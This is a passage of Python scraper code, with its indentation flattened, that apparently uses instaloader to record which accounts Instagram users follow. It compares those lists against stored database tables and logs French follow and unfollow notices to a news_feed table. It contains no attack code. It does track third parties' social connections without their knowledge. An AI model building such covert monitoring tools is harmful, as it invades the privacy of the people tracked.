loader.context.log('Profile {} has {} followees'.format( profile.username, profile.followees)) for followee in followees: al_following_b.append(followee.username) user_dict_b.update({each_profiles: al_following_b}) print("******", al_following_b) if len(al_following_b) == 0 and profile.followees != 0: print('this user is private') pending_list_b.append(profile.username) time.sleep(40) except: print(f'user link does not exist {i} {each_profiles}') print("user link doesn't exist") user_dict_b.update({each_profiles: "Cet utilisateur n'existe pas"}) time.sleep(40) continue nowss = datetime.now() cursor.execute("select * from group_a_users") records = cursor.fetchall() listas = [] for x in records: listas.append(x[1]) match_all_table1 = {} cursor.execute( "select * from existing_table_1") # show all user group B list_users = cursor.fetchall() user_names = [] for all_records in list_users: user_names = all_records[0] following_nams = all_records[1] # print("dsdsadas",following_nams) match_all_table1.update({user_names: following_nams}) for both_key_, both_val in match_all_table1.items(): if each_profiles == both_key_: demo_val = str(al_following_b) if both_val == "Cet utilisateur n'existe pas": print("User Not Exisit") else: print( "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-" ) if both_val == demo_val: print( "-********************************************************************", both_val) else: a = demo_val b = both_val if len(b) > len(a): status_foll = "S'est désabonné @" else: status_foll = "S'est abonné @" a = a.replace('[', '') a = a.replace(']', '') a = a.replace(' ', '') lista = a.split(',') b = b.replace('[', '') b = b.replace(']', '') b = b.replace(' ', '') listb = b.split(',') max_list = [] min_list = [] if len(lista) > len(listb): max_list = lista min_list = listb else: max_list = listb min_list = lista change_list = [] for each in max_list: if each in min_list: pass else: each = each.replace("'", '') print("print_________________", each) if each in listas: change_list.append(each) if len(change_list) == 0: continue change_ = str(change_list) vals = status_foll + change_ print(str(each_profiles), status_foll, change_list) val = str(vals) sql = "insert into news_feed(username,group_followers,datetime) values (%s,%s,%s);" value = (each_profiles, val, nowss) cursor.execute(sql, value) mydb.commit() else: pass return pending_list_a, pending_list_b